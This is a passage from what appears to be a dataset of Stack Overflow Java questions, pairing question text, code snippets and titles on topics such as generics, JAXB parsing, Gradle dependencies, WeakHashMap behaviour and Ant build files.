10 . } line 3 : 0line 6 : 30line 8 : 32 line 3 : 0line 4 : 16line 6 : 30line 8 : 32",Is javap missing some line numbers ? +Java,"I can not understand why this even compile.I 've tried with different formats and they all seem to work.. why is it legal to have an enum of enum of enum of.. ? My IDE reports it compiles just fine , although I.E.E does not make sense to me .",interface I { enum E implements I { VAL ; } class Test { I.E f1 = I.E.VAL ; I.E.E f2 = I.E.VAL ; I.E.E.E f3 = I.E.VAL ; I.E.E.E.E.E f4 = I.E.VAL ; I.E v1 = I.E.VAL ; I.E v2 = I.E.E.VAL ; I.E v3 = I.E.E.E.E.E.E.VAL ; I.E v4 = I.E.E.E.E.E.E.E.E.E.E.VAL ; } },Why is ` enum of enum of enum.. ` allowed ? +Java,"I have written a Java app that synchronises Google Groups on our Google Apps for Education domain ( similar in function to Google Apps School Directory Sync , but customised for some of our specific needs ) .The synchronisation works , but it is slow because it is performing each task individually . I know that there are API interfaces for batching operations , but I ca n't find any examples of how this is implemented with the Java API.The code I 'm using looks similar to this ( authentication and other setup is taken care of elsewhere ) : Instead of executing these operations one-by-one , I would like to batch them instead . Can anyone tell me how ?","try { Member m = new Member ( ) ; m.setEmail ( member ) ; m.setRole ( `` MEMBER '' ) ; service.members ( ) .insert ( group , m ) .execute ( ) ; } catch ( Exception e ) { // ERROR handling }",Batching operations in Google Apps Admin Java API +Java,"Wikipedia defines virtual methods as : In object-oriented programming , a virtual function or a virtual method is a function or method whose behavior can be overridden within an inheriting class by a function with the same signature [ to provide a polymorphic behavior ] .According to the definition , every non-static method in Java is by default virtual except final and private methods . The method which can not be inherited for polymorphic behavior is not a virtual method.Static methods in Java can never be overridden ; hence , it is meaningless to declare a static method as final in Java because static methods themselves behave just like final methods . They can simply be hidden in sub classes by the methods with the same signature . It is evidently so because static methods can never have polymorphic behavior : a method which is overridden must achieve polymorphism , which is not the case with static methods.From the preceding paragraph , an important conclusion can be driven . All the methods in C++ are by default static because no methods in C++ can behave polymorphically until and unless they are explicitly declared virtual in the super class . In contrast , all the methods in Java except final , static and private methods are by default virtual because they have polymorphic behavior by default ( there 's no need to explicitly declare methods as virtual in Java and , consequently , Java has no keyword like `` virtual '' ) .Now , let 's demonstrate that instance variables ( static too ) can not behave polymorphically from the following simple example in Java.The output produced by the above code snippet is as follows.In this example , both calls s.show ( ) and c.show ( ) made to the show ( ) method through the variables of type Super and of type Child , respectively , invoke the show ( ) method in the Child class . This means that the show ( ) method in the Child class overrides the show ( ) method in the Super class because both of them have the identical signature.This , however , can not be applied to the instance variable a declared in both the classes . In this case , s.a would refer to a in the Super class and display 5 and c.a would refer to a in the Child class and display 6 means that a in the Child class just hides ( and does n't override as happened to non-static methods ) a in the Super class.After this long discussion , there is only one question . Why are instance variables ( and the rest too ) not overridden ? What were the special reasons to implement such a mechanism ? Would have there been any advantages or disadvantages , if they had been overridden ?",class Super { public int a=5 ; public int show ( ) { System.out.print ( `` Super method called a = `` ) ; return a ; } } final class Child extends Super { public int a=6 ; @ Override public int show ( ) { System.out.print ( `` Child method called a = `` ) ; return a ; } } final public class Main { public static void main ( String ... args ) { Super s = new Child ( ) ; Child c = new Child ( ) ; System.out.println ( `` s.a = `` +s.a ) ; System.out.println ( `` c.a = `` +c.a ) ; System.out.println ( s.show ( ) ) ; System.out.println ( c.show ( ) ) ; } } s.a = 5c.a = 6Child method called a = 6Child method called a = 6,Methods in object-oriented paradigms can be overridden by the methods with same signature in the inheriting classes . Variables however ca n't . Why ? +Java,"I 've been reading the book Head First : Design Patterns , which I have found to be a good introduction to design patterns . However , I 've got a question about a claim they make in Chapter 4 : They define the `` Simple Factory '' pattern as follows ( Java pseudocode ) : The `` Factory Method '' is defined as follows ( class Product remains the same and is omitted ) : Then the authors go on to claim that the Factory Method Pattern is much more flexible than Simple Factory , because while Simple Factory is `` a one shot deal , with Factory Method you are creating a framework that lets the subclasses decide which implementation should be used '' ( page 135 ) .Now I do n't get why this is true . The way I see it , Simple Factory is , in some senses , slightly more flexible than Factory Method : you can subclass the Simple Factory ( instead of subclassing the Store ) to get essentially the same behavior . You can even change the behavior at runtime if you wish ! The only disadvantage of Simple Factory I could think of is when the product creation depends on state variables of the Store class : is this what the authors are calling flexibility , or am I missing something ?",public abstract class Product { // Product characteristics// Concrete Products should subclass this } public class SimpleFactory { public Product createProduct ( ) { // Return an instance of some subclass of Product } } public class Store { SimpleFactory factory ; public Product orderProduct ( ) { Product product = factory.createProduct ( ) ; // Do some manipulation on product return product ; } } public abstract class Store { //Concrete Stores must subclass this and override createProduct ( ) public abstract Product createProduct ( ) ; public Product orderProduct ( ) { Product product = createProduct ( ) ; // Do some manipulation on product return product ; } },Is the Factory Method Pattern more flexible than Simple Factory ? +Java,Consider the following 2 method declarations : Both seem to return back a list of objects that extend MetaData.What is the difference between them please ?,1. public abstract < T extends MetaData > List < T > execute ( ) ; 2. public abstract List < ? extends MetaData > execute ( ) ;,"Declaring generic methods , clarification needed" +Java,"I want to integrate my app with facebook login , but when adding below dependency and syncing Gradle : I got the following errors : My build.gradle in app-level : and build.gradle on project-level : I 've searched a lot on google and StackOverflow and tested all the methods , but this problem does n't fix . Please help me where is my problem .","implementation 'com.facebook.android : facebook-android-sdk : [ 5,6 ) ' ERROR : Failed to resolve : legacy-support-v4Affected Modules : appERROR : Failed to resolve : browserAffected Modules : appERROR : Failed to resolve : legacy-support-core-utilsAffected Modules : appERROR : Failed to resolve : mediaAffected Modules : app apply plugin : 'com.android.application'apply plugin : 'io.fabric'buildscript { repositories { maven { url 'https : //plugins.gradle.org/m2/ ' } } } repositories { } android { compileSdkVersion 28 defaultConfig { applicationId `` com . *************** '' minSdkVersion 21 targetSdkVersion 28 versionCode 1 versionName `` 1.0 '' } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android-optimize.txt ' ) , 'proguard-rules.pro ' } } } dependencies { implementation fileTree ( dir : 'libs ' , include : [ '*.jar ' ] ) implementation 'androidx.appcompat : appcompat:1.0.2 ' implementation 'androidx.constraintlayout : constraintlayout:1.1.3 ' implementation 'com.android.support : design:28.0.0 ' implementation 'com.google.firebase : firebase-analytics:17.2.1 ' implementation 'com.squareup.retrofit2 : retrofit:2.5.0 ' implementation 'com.squareup.retrofit2 : converter-gson:2.5.0 ' implementation 'com.github.GrenderG : Toasty:1.4.1 ' implementation 'com.crashlytics.sdk.android : crashlytics:2.10.1 ' implementation 'com.gauravk.bubblenavigation : bubblenavigation:1.0.7 ' implementation 'com.tuyenmonkey : mkloader:1.4.0 ' implementation 'me.riddhimanadib.form-master : form-master:1.1.0 ' implementation 'com.facebook.android : facebook-android-sdk : [ 5,6 ) ' } apply plugin : 'com.google.gms.google-services ' buildscript { repositories { google ( ) jcenter ( ) maven { url 'https : //maven.fabric.io/public ' } mavenCentral ( ) } dependencies { classpath 'com.android.tools.build : gradle:3.5.3 ' classpath 'com.getkeepsafe.dexcount : dexcount-gradle-plugin:0.8.2 ' classpath 'com.google.gms : google-services:4.3.3 ' classpath 'io.fabric.tools : gradle:1.31.2 ' } } allprojects { repositories { google ( ) jcenter ( ) maven { url `` https : //www.jitpack.io '' } mavenCentral ( ) } } task clean ( type : Delete ) { delete rootProject.buildDir }",Error after adding Facebook login dependency in Android +Java,"How can I model the removal of entries in WeakHashMap if there are no active references to one of it keys . I have next code : The output is alwaysBut I expect to get only 6 BBEven if I decomment commented lines it still produce the same output . As I understand if the key in WeakHashMap has no active reference somewhere else outside this weakHashMap the entry with the specified key has to be removed . Am I right ? If no , please , suggest the right solution .","WeakHashMap < Integer , String > weakMap = new WeakHashMap < Integer , String > ( ) ; Integer st1 = 5 ; Integer st2 = 6 ; String val = `` BB '' ; weakMap.put ( st1 , `` AA '' ) ; weakMap.put ( st2 , val ) ; st1 = 10 ; //st1 = null ; //System.gc ( ) ; for ( Map.Entry < Integer , String > entry : map.entrySet ( ) ) { System.out.println ( entry.getKey ( ) + `` `` + entry.getValue ( ) ) ; } 6 BB5 AA",WeakHashMap does n't remove obsolete entries +Java,"Why does the below code prints 2147483647 , the actual value being 2147483648 ? I understand that the max positive value that a int can hold is 2147483647 . Then why does a code like this auto wraps to the negative side and prints -2147483648 ? i is of type Integer . If the second code sample ( addition of two integers ) can wrap to the negative side if the result goes out of the positive range , why ca n't the first sample wrap ? Also , which is very similar to the second code sample throws compile error saying the first literal is out of integer range ? My question is , as per the second code sample why ca n't the first and third sample auto wrap to the other side ?","i = ( int ) Math.pow ( 2,31 ) ; System.out.println ( i ) ; i = ( int ) Math.pow ( 2,31 ) +1 ; System.out.println ( i ) ; i = 2147483648 +1 ; System.out.println ( i ) ;",Basic question on Java 's int +Java,"I 'm studying Effective Java , Item 8 ( Obey the general contract when overriding equals ) . It has been explained quite clearly by the author , but still some parts are not that much elaborated . For this example , he considers a class CaseInsensitiveString defined as : In the end of the article , he says : For some classes , such as CaseInsensitiveString above , field comparisons are more complex than simple equality tests . If this is the case , you may want to store a canonical form of the field , so the equals method can do cheap exact comparisons on these canonical forms rather than more costly inexact compar- isons . This technique is most appropriate for immutable classes ( Item 15 ) ; if the object can change , you must keep the canonical form up to date.I searched for this term and found that it basically means a standard representation of something , like absolute path without any symbolic links for a file in a directory . But I 'm unable to understand the use of 'canonical ' form for this class , which would help here . Any suggestions ?",public final class CaseInsensitiveString { private final String s ; public CaseInsensitiveString ( String s ) { if ( s == null ) throw new NullPointerException ( ) ; this.s = s ; } // Broken - violates symmetry ! @ Override public boolean equals ( Object o ) { if ( o instanceof CaseInsensitiveString ) return s.equalsIgnoreCase ( ( ( CaseInsensitiveString ) o ) .s ) ; if ( o instanceof String ) // One-way interoperability ! return s.equalsIgnoreCase ( ( String ) o ) ; return false ; } // ... // Remainder omitted },Canonical form of field +Java,"I am using following code to parse soap response but I am receiving UnmarshallingFailureException , I changed @ XmlSeeAlso to @ XMLRootElement but the problem still persists . WSDL is here.Codejaxb.indexpackage-info.javaResponse123456","Caused by : javax.xml.bind.UnmarshalException : unexpected element ( uri : '' ElsyArres.API '' , local : '' SearchFlightsResponse '' ) . Expected elements are < { ElsyArres.API } Inbound > , < { ElsyArres.API } Leg > , < { ElsyArres.API } Legs > , < { ElsyArres.API } Outbound > , < { ElsyArres.API } Request > , < { ElsyArres.API } Response > , < { ElsyArres.API } SearchFlights > , < { ElsyArres.API } SoapMessage > @ XmlRootElement ( name = `` SoapMessage '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class WegoloSoapMessageResponse { @ XmlElement ( name = `` Username '' ) private String username ; @ XmlElement ( name = `` Password '' ) private String password ; @ XmlElement ( name = `` LanguageCode '' ) private String languageCode ; @ XmlElement ( name = `` ErrorMessage '' ) private String errorMessage ; @ XmlElement ( name = `` ErrorCode '' ) private int errorCode ; @ XmlElement ( name = `` AppVersion '' ) private String appVersion ; @ XmlElement ( name = `` Request '' ) private Request request ; @ XmlElement ( name = `` Response '' ) private Response response ; getters and setters @ XmlRootElement ( name = `` Request '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Request { @ XmlElement ( name = `` Departure '' ) private String departure ; @ XmlElement ( name = `` Destination '' ) private String destination ; @ XmlElement ( name = `` DepartureDate '' ) private String departureDate ; @ XmlElement ( name = `` ReturnDate '' ) private String returnDate ; @ XmlElement ( name = `` NumADT '' ) private int numADT ; @ XmlElement ( name = `` NumINF '' ) private int numInf ; @ XmlElement ( name = `` NumCHD '' ) private int numCHD ; @ XmlElement ( name = `` CurrencyCode '' ) private String currencyCode ; @ XmlElement ( name = `` WaitForResult '' ) private boolean waitForResult ; @ XmlElement ( name = `` NearByDepartures '' ) private boolean nearByDepartures ; @ XmlElement ( name = `` NearByDestinations '' ) private boolean nearByDestinations ; @ XmlElement ( name = `` RROnly '' ) private boolean rronly ; @ XmlElement ( name = `` MetaSearch '' ) private boolean metaSearch ; getters and setters @ XmlRootElement ( name= '' Response '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Response { @ XmlElement ( name= '' SearchFlightId '' ) private String searchFlightId ; @ XmlElement ( name= '' Roundtrip '' ) private boolean roundTrip ; @ XmlElement ( name= '' CurrencyCode '' ) private String currencyCode ; @ XmlElement ( name= '' Flights '' ) private Flights flights ; getters and setters @ XmlSeeAlso ( Flight.class ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Flights { @ XmlElement ( name= '' Flight '' ) private List < Flight > flight ; getter and setter @ XmlSeeAlso ( Outbound.class ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Flight { @ XmlElement ( name = `` Outbound '' ) private Outbound outbound ; @ XmlElement ( name= '' Inbound '' ) private Inbound inbound ; @ XmlElement ( name = `` BagFee '' ) private int bagFee ; @ XmlElement ( name = `` CcFee '' ) private int ccFee ; @ XmlElement ( name = `` HandlingFee '' ) private int handlingFee ; @ XmlElement ( name = `` TotalFare '' ) private int totalFare ; @ XmlElement ( name = `` FlightId '' ) private String flightId ; @ XmlElement ( name = `` Link2Book '' ) private String link2Book ; @ XmlElement ( name = `` Provider '' ) private String provider ; getters and setters @ XmlRootElement ( name = `` Outbound '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Outbound { @ XmlElement ( name= '' CarName '' ) private String carName ; @ XmlElement ( name= '' CarCode '' ) private String carCode ; @ XmlElement ( name= '' DepName '' ) private String depName ; @ XmlElement ( name= '' DepCode '' ) private String depCode ; @ XmlElement ( name= '' DestName '' ) private String destName ; @ XmlElement ( name= '' DestCode '' ) private String destCode ; @ XmlElement ( name= '' Duration '' ) private String duration ; @ XmlElement ( name= '' FlightNo '' ) private String flightNo ; @ XmlElement ( name= '' DepDateTime '' ) private Date dapDateTime ; @ XmlElement ( name= '' ArrDateTime '' ) private Date arrDateTime ; @ XmlElement ( name= '' Legs '' ) private Legs legs ; @ XmlElement ( name= '' Taxes '' ) private int taxes ; @ XmlElement ( name= '' FareADT '' ) private int fareADT ; @ XmlElement ( name= '' FareCHD '' ) private int fareCHD ; @ XmlElement ( name= '' FareINF '' ) private int fareInf ; @ XmlElement ( name= '' MiscFees '' ) private int miscFees ; @ XmlElement ( name= '' Idx '' ) private int idx ; @ XmlElement ( name= '' FareClass '' ) private String fareClass ; @ XmlElement ( name= '' FareType '' ) private String fareType ; @ XmlElement ( name= '' FareId '' ) private String fareId ; getters and setters @ XmlRootElement ( name= '' Legs '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Legs { @ XmlElement ( name= '' Leg '' ) private Leg leg ; getter and setter @ XmlRootElement ( name= '' Leg '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Leg { @ XmlElement ( name= '' Sequence '' ) private int sequence ; @ XmlElement ( name= '' FlightNo '' ) private String flightNo ; @ XmlElement ( name= '' DepCode '' ) private String depCode ; @ XmlElement ( name= '' DepName '' ) private String depName ; @ XmlElement ( name= '' DestCode '' ) private String destCode ; @ XmlElement ( name= '' DestName '' ) private String destName ; @ XmlElement ( name= '' DepTime '' ) private String depTime ; @ XmlElement ( name= '' ArrTime '' ) private String arrTime ; @ XmlElement ( name= '' CarCode '' ) private String carCode ; @ XmlElement ( name= '' CarName '' ) private String carName ; @ XmlElement ( name= '' FareClass '' ) private String fareClass ; @ XmlElement ( name= '' ArrDateTime '' ) private Date arrDateTime ; @ XmlElement ( name= '' DepDateTime '' ) private Date depDateTime ; getters and setters @ XmlRootElement ( name = `` Inbound '' ) @ XmlAccessorType ( XmlAccessType.FIELD ) public class Inbound { @ XmlElement ( name= '' CarName '' ) private String carName ; @ XmlElement ( name= '' CarCode '' ) private String carCode ; @ XmlElement ( name= '' DepName '' ) private String depName ; @ XmlElement ( name= '' DepCode '' ) private String depCode ; @ XmlElement ( name= '' DestName '' ) private String destName ; @ XmlElement ( name= '' DestCode '' ) private String destCode ; @ XmlElement ( name= '' Duration '' ) private String duration ; @ XmlElement ( name= '' FlightNo '' ) private String flightNo ; @ XmlElement ( name= '' DepDateTime '' ) private Date dapDateTime ; @ XmlElement ( name= '' ArrDateTime '' ) private Date arrDateTime ; @ XmlElement ( name= '' Legs '' ) private Legs legs ; @ XmlElement ( name= '' Taxes '' ) private int taxes ; @ XmlElement ( name= '' FareADT '' ) private int fareADT ; @ XmlElement ( name= '' FareCHD '' ) private int fareCHD ; @ XmlElement ( name= '' FareINF '' ) private int fareInf ; @ XmlElement ( name= '' MiscFees '' ) private int miscFees ; @ XmlElement ( name= '' Idx '' ) private int idx ; @ XmlElement ( name= '' FareClass '' ) private String fareClass ; @ XmlElement ( name= '' FareType '' ) private String fareType ; @ XmlElement ( name= '' FareId '' ) private String fareId ; gettes and setters SearchFlightsFlightFlightsLegLegsOutboundRequestResponseWegoloSoapMessage @ XmlSchema ( namespace = `` ElsyArres.API '' , elementFormDefault = XmlNsForm.QUALIFIED ) package com.myproject.flights.wegolo ; import javax.xml.bind.annotation.XmlNsForm ; import javax.xml.bind.annotation.XmlSchema ;",Can not parse XML message with JAXB org.springframework.oxm.UnmarshallingFailureException +Java,"This is Sun JDK 1.6u21 , x64.I have a class for the purpose of experimenting with perm gen usage which contains only a single large string ( 512k characters ) : I check the perm gen usage using getUsage ( ) .toString ( ) on the MemoryPoolMXBean object for the permanent generation ( called `` PS Perm Gen '' in u21 , although it has slightly different names with different versions , or with different garbage collectors.When I first reference the class , say by reading Big0.class , perm gen jumps by ~500 KB - that 's what I 'd expect as the constant pool encoding of the string is UTF-8 , and I 'm using only ASCII characters.When I actually create an instance of this class , however , perm gen jumps by ~2 MB . Since this is a 1 MB string in-memory ( 2 bytes per UTF16 character , certainly no surrogates ) , I 'm confused about why the memory usage is double.The same effect occurs if I make the string static . If I used final , it fails to compile as I exceed the limit for constant pool items of 65535 bytes ( not sure why leaving final off avoids that either - consider that a bonus question ) .Any insight appreciated ! Edit : I should also point out that this occurs with non-static , final non-static , and static strings , but not for final static strings . Since that 's already a best practice for string constants , maybe this is of mostly academic interest .","public class Big0 { public String bigString = `` A string with 2^19 characters , should be 1 MB in size '' ; }",String literals using 2x the expected amount of permanent generation space +Java,"Code : As per Java Doc : Arrays # sortSorts the specified array of objects into ascending order , according to the natural ordering of its elements . All elements in the array mustimplement the Comparable interface.Why does Arrays # sort , doesnt throw ClassCastException as stated by JavaDoc ?","public class CompareTest { public static void main ( String [ ] args ) { ArrayList list = new ArrayList ( ) ; ( list ) .add ( new CompareTest ( ) ) ; Arrays.sort ( list.toArray ( ) ) ; //Does not throw Exception , why ? Collections.sort ( list ) ; //throws ClassCastException } }",Arrays.sort ( object [ ] ) is not throwing classcastexception +Java,"I need to dynamically load images inside a JSP . I 've tried the < img src= '' servletUrl ? p1=x & p2=y '' / > , but the problem is that the URL is too long to be sent using GET.I 'm now performing a POST call . From the servlet I 'm generating a pie chart image , based on the params I send . The image is not persisted , so I ca n't return something like `` images/image1.jpg '' and set that as src of the image.So I 'm returning the image as a byte array and setting the appropriate image content type.My question is : once I have the image bytes in javascript , how do I display them in the corresponding img tag ? This is my AJAX call :","new Ajax.Request ( url , { method : 'post ' , parameters : params , onComplete : function ( request ) { alert ( request.responseText ) ; } } ) ;","Dynamically generated images , fetched using POST" +Java,"I am trying to make a class that can hold only one of two objects and I want to do this with generics . Here is the idea : Of course this wo n't work though because due to type erasure the constructors have the same type signature . I realize one solution is to have a single constructor taking both , but I want one of the values to be empty , so it seems more elegant to have single parameter constructors.Is there an elegant solution to this ? Edit 1 : I am using Java 6 . Edit 2 : The reason I want to make this is because I have a method that can return one of two types . I made a concrete version with no generics but was wondering if I could make it generic . Yes , I realize that having a method with two different return types is the real issue at hand , but I was still curious if there was a good way to do this . I think durron597 's answer is best because it points out that Union < Foo , Bar > and Union < Bar , Foo > should act the same but they do n't ( which is the main reason why I decided to stop pursuing this ) . This is a much uglier issue than the `` ugly '' constructor . For what it 's worth I think the best option is probably make this abstract ( because interfaces ca n't dictate visibility ) and make the isA and getA stuff protected , and then in the implementing class have better named methods to avoid the < A , B > ! = < B , A > issue . I will add my own answer with more details . Final edit : For what it 's worth , I decided that using static methods as pseudo constructors ( public static Union < A , B > fromA ( A a ) and public static Union < A , B > fromB ( B b ) ) is the best approach ( along with making the real constructor private ) . Union < A , B > and Union < B , A > would never realistically be compared to each other when it 's just being used as a return value . Another edit , 6 months out : I really ca n't believe how naive I was when I asked this , static factory methods are so obviously the absolute correct choice and clearly a no-brainer . All that aside I have found Functional Java to be very intriguing . I have n't used it yet but I did find this Either when googling 'java disjunct union ' , it 's exactly what I was looking for . The downside though it that Functional Java is only for Java 7 and 8 , but luckily the project I am now working on used Java 8 .","public class Union < A , B > { private final A a ; private final B b ; public Union ( A a ) { this.a = a ; b = null ; } public Union ( B b ) { a = null ; this.b = b ; } // isA , isB , getA , getB ... } // Ugly solutionpublic Union ( A a , B b ) { if ( ! ( a == null ^ b == null ) ) { throw new IllegalArgumentException ( `` One must exist , one must be null ! `` ) ; } this.a = a ; this.b = b ; }",Handling type erasure in constructors with generics +Java,"I have a Gradle Project in Eclipse consisting of multiple subprojects . I currently have subprojects A , B and C.Project A should have access to Project B . Project B should have access to Project C. But project A should not have access to Project C.I can easily test this by having a java example class in Project A which tries to use a class from Project C.I 've achieved this with Gradle using the following setup in the main build.gradle file and using the transitive property : Running Gradle 's compileJava on Project A 's example class gives the correct error message . I would like to have this error should up as a compile error in Eclipse . I was also able to manually configure the classpath in a way that the desired relationship holds , but a Gradle Refresh/Rebuild resets the classpath again.Is it possible to use Gradle 's Java Compiler instead of the Eclipse Compiler ? Or should I influence the classpath files when doing a Gradle Refresh/Rebuild ? Is there maybe a different solution ? I 'd like to hear what is the preferred approach for this situation . Thanks !","A - > B , B - > C , but not A - > C project ( ' : projectA ' ) { dependencies { compile project ( ' : projectB ' ) , { transitive = false } } } project ( ' : projectB ' ) { dependencies { compile project ( ' : projectC ' ) , { transitive = false } } }",Access restrictions in Eclipse Multiple Projects with Gradle +Java,"I am attempting to create an application that draws Fibonacci Arcs similar to these . However , I 'd like full circles instead of arcs , and I 'd like to draw more than the three Fibonacci lines shown in the picture . I 've created an application using JFreeChart to attempt to accomplish this . However , here is the result when trying to draw the same arcs ( but as circles ) shown in the previous picture . Initially , it just looks wrong , but when I zoom out , it is indeed a circle , but it 's way too big . To calculate the arcs , you draw a line , then take a Fibonacci ratio - let 's use .381 for example - the percentage of that line . If you look at the first picture , you 'll see the innermost arc intersects the line at .381 % the distance of the line from the centre of the circle . First I calculate this point . Then I construct a line from the .381 % point to the centre . Then I take the distance of this line , which should be the radius . Then I use this radius to draw the circle . Here 's the code to calculate the radius . Where stop and start are the stop and start points of the line drawn.Here is the code to calculate the distance of a lineI get back a list of circle objects ( this is an object I created that holds the radius and centre point ) one for each circle that needs to be drawn and then draw them . I think the issue has something to do with how the x-axis of time and the y axis of price does n't exactly correlate . What I mean is , if the radius is 20 , you 'll be going 20 units away from the centre at each point . So say you 're stock price is only 5 dollars , at your lowest point you will then be at -15 . If that is the case , I have no idea how to fix it . But it also could be some error in my logic . Any ideas would be appreciated . EDIT : While the bars look like they may be weekly bars in the first picture , they are indeed daily bars . Also , I have already converted the coordinates from data space to x y coordinates . I use this code below to do that .","multiplier = ratio38Value + i ; diffx = ( stop.getX ( ) - start.getX ( ) ) * multiplier ; diffy = ( stop.getY ( ) - start.getY ( ) ) * multiplier ; xValue = start.getX ( ) + diffx ; yValue = start.getY ( ) + diffy ; point = new Point ( xValue , yValue ) ; lineSegment = new Line ( point , stop ) ; radius = lineSegment.getDistance ( ) ; circle = new Circle ( stop.getX ( ) , stop.getY ( ) , radius ) ; circles.add ( circle ) ; public double getDistance ( ) { double x = Math.pow ( endPoint.getX ( ) - startPoint.getX ( ) , 2 ) ; double y = Math.pow ( endPoint.getY ( ) - startPoint.getY ( ) , 2 ) ; return Math.sqrt ( x + y ) ; } List < Circle > circles = fibonacciCalculations.getFibonacciArcs ( startPoint , endPoint ) ; if ( circles ! = null ) { for ( Circle circle : circles ) { double xCenter = circle.getX ( ) ; double yCenter = circle.getY ( ) ; double radius = circle.getRadius ( ) ; plot.addAnnotation ( new XYShapeAnnotation ( new Ellipse2D.Double ( xCenter - radius , yCenter - radius , radius + radius , radius + radius ) ) ) ; } } @ Overridepublic void chartMouseMoved ( ChartMouseEvent event ) { Rectangle2D dataArea = cp.getScreenDataArea ( ) ; JFreeChart chart = event.getChart ( ) ; XYPlot plot = ( XYPlot ) chart.getPlot ( ) ; ValueAxis xAxis = plot.getDomainAxis ( ) ; ValueAxis yAxis = plot.getRangeAxis ( ) ; double x = xAxis.java2DToValue ( event.getTrigger ( ) .getX ( ) , dataArea , RectangleEdge.BOTTOM ) ; double y = yAxis.java2DToValue ( event.getTrigger ( ) .getY ( ) , dataArea , RectangleEdge.LEFT ) ;",Draw Fibonacci Arcs +Java,"In Netbeans , after some research , I managed to edit the file build.xml to customize the way the IDE generated my jar and my manifest file . I had to migrate a project for Eclipse , and even found the option to build jar , but I need to build my jar with some personalized information.I added the file build.xml as a buildfile ANT in my project in eclipse , but when I send execute it , the eclipse runs twice , generating 2 jars files at once.Follow my file build.xml : Just to point out , the eclipse generates a jar the way it generated in netbeans , the problem is the ANT run twice and generate 2 jars , even I giving command only once , as can be seen in print below : Running the ant via the command line in the same project and only one file was created , apparently the problem is some configuration in eclipse , but I have not been able to find any so far .","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project name= '' GerOficios '' default= '' makejar '' basedir= ' . ' > < target name= '' makejar '' > < property file= '' version_info.properties '' / > < property name= '' application.title '' value= '' GerOficios_v6 '' / > < property name= '' main.class '' value= '' com/dfmachado/geroficios/View/ListaDeOficiosUI '' / > < buildnumber file= '' build.num '' / > < property name= '' build.version.num '' value= '' $ { version.number } . $ { build.number } '' / > < tstamp > < format property= '' TODAY '' pattern= '' dd/MM/yyyy - HH : mm : ss '' / > < /tstamp > < property name= '' store.jar.name '' value= '' GerOficios $ { build.version.num } '' / > < property name= '' store.dir '' value= '' store '' / > < property name= '' store.jar '' value= '' $ { store.dir } / $ { store.jar.name } .jar '' / > < echo message= '' Packaging $ { application.title } into a single JAR at $ { store.jar } '' / > < mkdir dir= '' $ { store.dir } '' / > < jar destfile= '' $ { store.dir } /temp_final.jar '' basedir= '' bin '' filesetmanifest= '' skip '' > < zipgroupfileset dir= '' lib '' includes= '' *.jar '' / > < manifest > < attribute name= '' Main-Class '' value= '' $ { main.class } '' / > < attribute name= '' SplashScreen-Image '' value= '' com/dfmachado/geroficios/View/image/minerva.png '' / > < attribute name= '' Build-OS '' value= '' $ { os.name } version $ { os.version } on $ { os.arch } '' / > < attribute name= '' Java-Version '' value= '' $ { javac.source } '' / > < attribute name= '' Implementation-Title '' value= '' $ { application.title } '' / > < attribute name= '' Implementation-Version '' value= '' $ { build.version.num } '' / > < attribute name= '' Built-By '' value= '' $ { user.name } '' / > < attribute name= '' Built-Date '' value= '' $ { TODAY } '' / > < /manifest > < /jar > < zip destfile= '' $ { store.jar } '' > < zipfileset src= '' $ { store.dir } /temp_final.jar '' excludes= '' META-INF/*.SF , META-INF/*.DSA , META-INF/*.RSA '' / > < /zip > < delete file= '' $ { store.dir } /temp_final.jar '' / > < /target > < /project >","Eclipse runs ANT twice , even sending run only once" +Java,"How would you create a Class that whichever class extends the Class , methods are automatically invoked/called . Just edit my question if it sounds misleading . I 'll just showcase some samplesExample 1 : In unity when you extend monobehavior your methods are automatically called . I do n't know if I 'm right . on libgdxAs What I have Understand and Tried Implementing it my selfI 'm sorry , but I still really do n't know how it works or what you call this technique.Especially in unity , when creating multiple controllers that extends Monobehavior , all that controllers method that been implemented are called . Who 's calling this classes and methods ? Some reference or books on this would be a great help . Note : Please edit my title for the right term to use on this . thanks",public class MyController : MonoBehaviour { void Start ( ) { //Being Called Once } void FixedUpdate ( ) { //Being Called every update } Game implements ApplicationListener { @ Override public void render ( ) { //Called multiple times } } public abstract Test { protected Test ( ) { onStart ( ) ; } public abstract void onStart ( ) ; } public class Test2 extends Test { public Test2 ( ) { } @ Override public void onStart ( ) { //Handle things here } },Calling methods from a super class when a subclass is instantiated +Java,"I have is algorithm , which takes an array as an argument , and returns its maximum value.My question is : given that the array is initially in a ( uniformly ) random permutation and that all its elements are distinct , what 's the expected number of times the max variable is updated ( ignoring the initial assignment ) .For example , if as = [ 1 , 3 , 2 ] , then the number of updates to max would be 1 ( when reading the value 3 ) .",find_max ( as ) : = max = as [ 0 ] for i = 1 ... len ( as ) { if max < as [ i ] then max = as [ i ] } return max,Expected number of maxima +Java,"I was taken aback earlier today when debugging some code to find that something like the following does not throw a compile-time exception : As you can imagine , a ClassCastException is thrown at runtime , but can someone explain why the casting of a List to a HashMap is considered legal at compile time ?",public Test ( ) { HashMap map = ( HashMap ) getList ( ) ; } private List getList ( ) { return new ArrayList ( ) ; },Why does this compile ? +Java,"Is there a way/tool to auto convert Java source code from using raw types to using generic types ? I have some legacy code with 677 references to raw types : Now I could manually look through the code to infer the generic types and replace , but that is going to take a long time .",ArrayList 47Vector 420Hashtable 61Enumeration 64Class 7Iterator 78TOTAL 677,Auto convert java source to use generic rather than raw types +Java,I am trying to send a message over TCP in wso2 framework . I am getting this exception in log : Following is the axis2 conf to start TCP : And wso2.xml :,"[ 2015-08-20 12:21:50,098 ] ERROR - TCPWorker Error while processing TCP request through the Axis2 enginejava.lang.NullPointerException at org.wso2.carbon.tenant.dispatcher.MultitenantDispatcher.findService ( MultitenantDispatcher.java:47 ) at org.apache.axis2.engine.AbstractDispatcher.invoke ( AbstractDispatcher.java:94 ) at org.apache.axis2.engine.Phase.invokeHandler ( Phase.java:340 ) at org.apache.axis2.engine.Phase.invoke ( Phase.java:313 ) at org.apache.axis2.engine.AxisEngine.invoke ( AxisEngine.java:261 ) at org.apache.axis2.engine.AxisEngine.receive ( AxisEngine.java:167 ) at 